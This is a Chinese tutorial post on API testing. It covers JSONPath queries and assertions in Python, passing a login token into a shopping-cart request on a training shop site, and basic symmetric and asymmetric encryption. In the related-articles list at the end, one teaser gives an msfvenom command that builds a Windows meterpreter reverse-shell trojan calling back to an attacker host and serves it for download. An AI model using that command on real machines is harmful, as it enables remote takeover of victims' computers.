【接口测试_04课_Jsonpath断言、接口关联及加密处理】

一、Jasonpath的应用

JsonPath工具网站:JSONPath解析器 - 一个工具箱 - 好用的在线工具都在这里!

1、JSONPath的手写与获取

手写JSONPath

1、

$   (英文美元符号)代表外层的{}

.   (英文句号)表示当前层级

1)$.  代表获取当前层级下的key

 1.1)默认是最外层

$.name $.address

1.2)再里面一层,就再加一个 英文句号

$.address.city

2)$..代表获取任意层级的所有的这个Key

2.1)两个英文句号,代表任意层级的所有这个key

 $..city 

 2.2)一个key里面有多个value(列表 [ ]),要使用..获取

$..hobbies 

 

2.3)多个value 只取里面的一个值,就按列表的方式通过下标获取即可

2.4) 列表里面套元组,下标获取值

2.5) 列表里面套元组,切片符获取值

 [0:]切片符,认为是从前面写的值0下标,默认到最后一个下标

2.6) 列表里面套元组,[*]代表列表里的所有下标

2.7) 列表里面套元组,表达式获取值

写在列表里面,?() 里面是表达式,@表示当前目录层级   key ==value是表达式的内容

2、通过代码实现获取JSONPath 

1、先安装JSONPath的库

import jsonpath

格式:

jsonpath.jsonpath(data, "$.name")

data 是jsonpath对象

""里面是JSONPath的值

# 注意:
# 1. jsonpath处理的数据必须是字典格式
# 2. 报文的格式是json,必须进行数据的转换。
# 3. json.loads() 将json转换成字典类型

因为JSONPath是python的库,所以必须转化成python可以处理的类型

2、写代码

1)简单获取JSONPath
import jsonpath

data = {
    "name": "Alice",
    "age": 25,
    "email": "alice@example.com",
    "address": {
        "street": "456 Elm Street",
        "city": "Los Angeles",
        "country": "USA"
    },
    "hobbies": ["reading", "traveling", "cooking"],
    "education": [
        {
            "degree": "Bachelor's",
            "major": "Computer Science",
            "university": "ABC University",
            "year": 2018
        },
        {
            "degree": "Master's",
            "major": "Business Administration",
            "university": "XYZ University",
            "year": 2020
        }
    ],
    "projects": [
        {
            "name": "Project A",
            "description": "Lorem ipsum dolor sit amet, consectetur adipiscing elit.",
            "contributors": ["John", "Sarah", "Mike"],
            "completed": "true"
        },
        {
            "name": "Project B",
            "description": "Nulla vel sagittis elit. Vivamus auctor massa in lacinia pellentesque.",
            "contributors": ["Alice", "David"],
            "completed": "false"
        }
    ],
    "is_active": "true"
}

res1 = jsonpath.jsonpath(data, "$.name")
res2 = jsonpath.jsonpath(data, "$..year")

print(res1)  # ['Alice']
print(res2)  # [2018, 2020]

2) JSONPath断言
注意:
程序报错,代码运行结果断言不正确,要思考2方面

# 1. 当你觉得你的数据是一致的,那么就尝试打印出来看看--print()函数
# 2. 如果说打印出来还是一样的,考虑一下数据类型---type()函数

 

import jsonpath
import requests

url = "http://shop-xo.hctestedu.com?s=api/user/login"
public_data = {"application": "app", "application_client_type": "weixin"}
data = {"accounts": "hami", "pwd": "123456", "type": "username"}

res = requests.request("post", url=url, params=public_data, data=data)

sj_res_code = jsonpath.jsonpath(res.json(), "$.code")[0]
print("实际结果sj:", sj_res_code)
print("实际结果类型:", type(sj_res_code))

qw_res_code = "0"

print("期望结果qw:", qw_res_code)
print("期望结果类型:", type(qw_res_code))
assert sj_res_code == qw_res_code, "结果不一致"

 二、接口关联

什么是接口关联?
上一个接口的响应数据,做为下一个接口的请求数据。

关联-- jsonpath (提取响应数据的值)
一个业务(模块)逻辑包含这四个操作,做四件事情:增删改查。
用户登录模块:注册用户(新增),后台-删除用户(删除),修改个人信息(修改),用户列表(查询)
提交订单模块:提交订单(新增),后台-删除订单、用户-删除订单(删除),修改订单信息(修改),订单列表(查询)

购物车模块:加入购物车(新增),删除购物车(删除),修改商品规格(修改),购物车列表(查询列表)  --- id--- XX列表

接口测试,一般都有的四个操作:增删改查

核心:
1. 一般接口都会有这个区分(没有经验的小伙伴一定要学会举一反三)
2. 查询一般是可以看对应详情【列表接口(带有一些主要的信息)、某个详情接口】

1、登录获取token

url = "http://shop-xo.hctestedu.com/index.php?s=/api/user/login"
params = {"application": "app", "application_client_type": "weixin"}
data = {"accounts": "hami", "pwd": "123456", "type": "username"}



# 方法一:
res = requests.post(url=url, params=params, data=data)

# ----------------------------------------
# 获取响应数据
result = res.json()
print(f"响应结果是:{result}")

# 断言
sj_res = jsonpath.jsonpath(result, "$.msg")[0]
qw_res = "登录成功"
assert sj_res == qw_res, "结果不一致"


# 获取token数据
token = jsonpath.jsonpath(result, "$..token")[0]
print('token:',token)

2、使用token,加入购物车

import jsonpath
import requests

# 场景一:登录、加入购物车(谁加入购物车--某个人--某个人就涉及鉴权--需要拿到token)
url = "http://shop-xo.hctestedu.com/index.php?s=/api/user/login"
params = {"application": "app", "application_client_type": "weixin"}
data = {"accounts": "hami", "pwd": "123456", "type": "username"}



# 登录请求:就下面这1行
res = requests.post(url=url, params=params, data=data)

# ----------------------------------------
# 获取响应数据
result = res.json()
print(f"响应结果是:{result}")

# 断言
sj_res = jsonpath.jsonpath(result, "$.msg")[0]
qw_res = "登录成功"
assert sj_res == qw_res, "结果不一致"


# 获取token数据
token = jsonpath.jsonpath(result, "$..token")[0]
print('token:',token)


#  接口一:加入购物车的接口
url = "http://shop-xo.hctestedu.com/index.php?s=/api/cart/save"
params = {"application": "app", "application_client_type": "weixin", "token": token}#token需要写到params里面
data = {
    "goods_id": "11",
    "spec": [
        {
            "type": "尺寸",
            "value": "M"
        }
    ],
    "stock": "10"
}

# 添加购物车请求(用了登录请求的token):下面这2行
res = requests.post(url=url, params=params, data=data)
print(res.json())

三、加密算法--不一定非要自己写出来,AI即可

 常见加密方式解析网站:AES加密解密

 正常数据传送,如果再路由阶段,被修改请求,把查询余额改为转账,那么就完蛋了

通过HTTPS传输,协议权威,但是不一定绝对有效

 自己加密

 常见加密方式解析网站:AES加密解密

1、对称加密

对称加密:加密和解密方式是一样的。密钥相同(公钥)。两边规则一致

两边都有新华字典,代码是页数第几个字,就是一种密文 

2、非对称加密


非对称加密:密钥不同(公私钥)

非对称加密非为:公钥(用来数据加密的)和私钥(用来解密操作,保持私密)

1)通过cmd打开jar包

打开cmd  默认是C盘,那么我们需要切到D盘

直接

D:  回车即可

 

然后在D盘打开某个文件夹,就是使用cd 命令。文件路径直接从电脑复制即可

 

cd过后,通过java -jar  包名  命令,启动jar包项目。 启动成功后,不要关闭窗口

 然后,就可以访问接口文档了:http://127.0.0.1:8080/doc.html

 打开文档:

进行调试,说明系统响应正确--非加密

 加密的访问不通

知悉上面的加密规则

生成对应的加密数据--用户名和密码这些传参,都需要进行加密处理才行

 

 

生成的加密数据,再传参:加密网站:AES加密解密

 

解密

输出变输入。格式也互换

 2)通过AI完成加解密算法工具

AI工具:文心一言

通过chatgpt生成 加密和解密的算法代码

老师提供的一些加密的demo

 

实例化的是密钥的对象

enc :加密

dec :解密

 举例

通过AI的代码,修改,对我们登录的用户名和密码进行加密,然后将密文进行请求。生成token

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/657180.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

分频器对相位噪声影响

本文我们将分析输入时钟被N分频之后的输出时钟的相位噪声如何变化。首先理想分频器的意思是我们假设分频器不会引入附加相位噪声,并且输入和输出时钟之间没有延时。我们假设每一个输出边沿的位置都完美的与输入边沿相对齐,这样便于分析。由于每N个输入时…

Java内存空间

Java内存空间划分 Java虚拟机在执行Java程序的过程中会把他管理的内存划分为若干个不同的数据区域,如图所示1.7和1.8两个版本的Java内存空间划分。 JDK1.7: JDK1.8: 线程私有: 程序计数器虚拟机栈本地方法栈 线程共享 : 堆方法区直接内…

Android项目实战 —— 手把手教你实现一款本地音乐播放器Dora Music

今天带大家实现一款基于Dora SDK的Android本地音乐播放器app,本项目也作为Dora SDK的实践项目或使用教程。使用到开源库有[https://github.com/dora4/dora] 、[https://github.com/dora4/dcache-android] 等。先声明一点,本项目主要作为框架的使用教程&a…

SALOME源码分析:MDF框架

SALOME是由EDF、CEA、Open CASCADE等联合开发的开源CAE集成平台。 作为一款开源CAE软件集成平台,SALOME以其现代化的架构设计、良好的扩展性,提供了几何建模、网格生成、数据同化、求解器调用、后处理可视化、流程管理、作业管理等方面的支持。而这一切…

【源码】6语言跨境电商PHP源码 精美UI+功能强大开源无授权

6语言跨境电商PHP源码 精美UI功能强大开源无授权 英文,简体中文,繁体中文,日语、泰语、越南语6语言。功能非常强大,UI也很漂亮的跨境电商源码。基于国外成熟电商系统二开的源码,带POS系统。 系统采用Laravel框架开发…

长安杯2021年wp

背景: 2021年4月25日,上午8点左右,警方接到被害人金某报案,声称自己被敲诈数万元;经询问,昨日金某被嫌疑人诱导裸聊,下载了某“裸聊”软件,导致自己的通讯录和裸聊视频被嫌疑人获取…

(四十八)第 7 章 图(图的数组(邻接矩阵)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

深入分析 Android Activity (三)

文章目录 深入分析 Android Activity (三)1. Activity 的配置变化处理1.1 处理配置变化 2. Activity 的存储和恢复状态2.1 保存状态2.2 恢复状态 3. Activity 与 Fragment 的通信3.1 通过接口进行通信3.2 通过 ViewModel 进行通信 4. Activity 的窗口管理和视图层次结构4.1 Dec…

联邦和反射器实验

拓扑图 一.实验要求 1.AS1存在两个环回&#xff0c;一个地址为192.168.1.0/24&#xff0c;该地址不能在任何协议中宣告 AS3存在两个环回&#xff0c;一个地址为192.168.2.0/24&#xff0c;该地址不能在任何协议中宣告 AS1还有一个环回地址为10.1.1.0/24&#xff…

汽车大灯中擎耀智能控制器在车灯智能化配置下的创新与分析

随着科技的飞速发展&#xff0c;汽车工业也在不断地进行着革新。其中&#xff0c;车灯作为汽车的重要组成部分&#xff0c;其智能化配置已经成为汽车行业的一大趋势。这种趋势不仅为消费者带来了更加安全、便捷的驾驶体验&#xff0c;同时也为商家提供了丰富的商业机会。汽车工…

Vue3+vite项目中使用mock模拟接口

安装依赖 分别安装vite-plugin-mock跟mockjs两个插件 npm install -D vite-plugin-mock mockjs vite.config.ts中添加配置&#xff0c;主要是红色标记的配置 注意此处如果配置出错可能是vite-plugin-mock依赖的版本有问题&#xff0c;重新安装一下依赖指定版本即可&#xf…

httpJVM

目录 HTTPS如何保证安全 1&#xff09;引入非对称加密 2&#xff09;引入非对称加密 3.中间人攻击 4.解决中间人攻击 JVM 1.JVM内存划分 2.JVM类加载过程 八股内容 3.JVM中的垃圾回收机制 释放垃圾的策略 1.标记-清除 2.复制算法 3.标记-整理 分代回收 HTTPS如何…

《老挝语翻译通》App彻底解决老挝文字OCR识别问题,支持老挝中文翻译、图片识别和语音识别翻译,还支持老挝语学习背单词!

在现今这个全球化的世界中&#xff0c;翻译工具已经成为了我们生活中不可或缺的一部分。对于出国旅行或者需要到老挝工作的人来说&#xff0c;老挝语翻译通App将是你最得力的伙伴。 丰富的功能&#xff0c;简洁的页面 老挝语翻译通App是一款专为广大需要使用老挝语、汉语的人们…

Monaco-Editor在Vue中使用(实现代码编辑与diff代码比较)--类似vscode代码编辑器

Monaco-Editor 是一个由 Microsoft 开发的 Web 代码编辑器&#xff0c;它是 Visual Studio Code 的浏览器版本。在 Vue 项目中集成 Monaco-Editor 可以提供代码编辑、语法高亮、智能提示等功能 效果&#xff1a; 1、安装使用&#xff0c;最好安装指定版本&#xff0c;我是 vue…

【Unity脚本】Unity中如何按类型查找游戏对象(GameObject)

【知识链】Unity -> 脚本系统 -> 访问游戏对象 -> 按类型访问游戏对象摘要&#xff1a;本文介绍了Unity中按类型查找游戏对象&#xff08;GameObject&#xff09;的五种方法&#xff0c;并提出了使用这些方法的最佳实践。 本文目录 一、访问游戏对象的方法二、如何按…

Notepad++不显示CRLF的方法

View -> Show Symbol -> 去掉勾选 Show All Characters

详解makefile中的foreach

在 Makefile 中&#xff0c;foreach 函数用于迭代处理一个以空格分隔的列表&#xff0c;并针对列表中的每个元素执行相同的操作。这个函数通常用于循环处理一组变量或文件名&#xff0c;并执行相同的规则或命令。 语法&#xff1a; makefile Copy Code $(foreach var, list, …

定位器与PWM的LED控制

文章目录 一、STM32定时器二、脉宽调制pwm三、定时器控制led&#xff08;1&#xff09;实验内容&#xff08;2&#xff09;创建工程&#xff08;3&#xff09;Keli程序&#xff08;4&#xff09;观察波形图&#xff08;5&#xff09;实物连接图&#xff08;6&#xff09;实践效…

nginx源码阅读理解 [持续更新,建议关注]

文章目录 前述一、nginx 进程模型基本流程二、源码里的小点1.对字符串操作都进行了原生实现2.配置文件解析也是原生实现待续 前述 通过对 nginx 的了解和代码简单阅读&#xff0c;发现这个C代码的中间件确实存在过人之处&#xff0c;使用场景特别多&#xff0c;插件模块很丰富…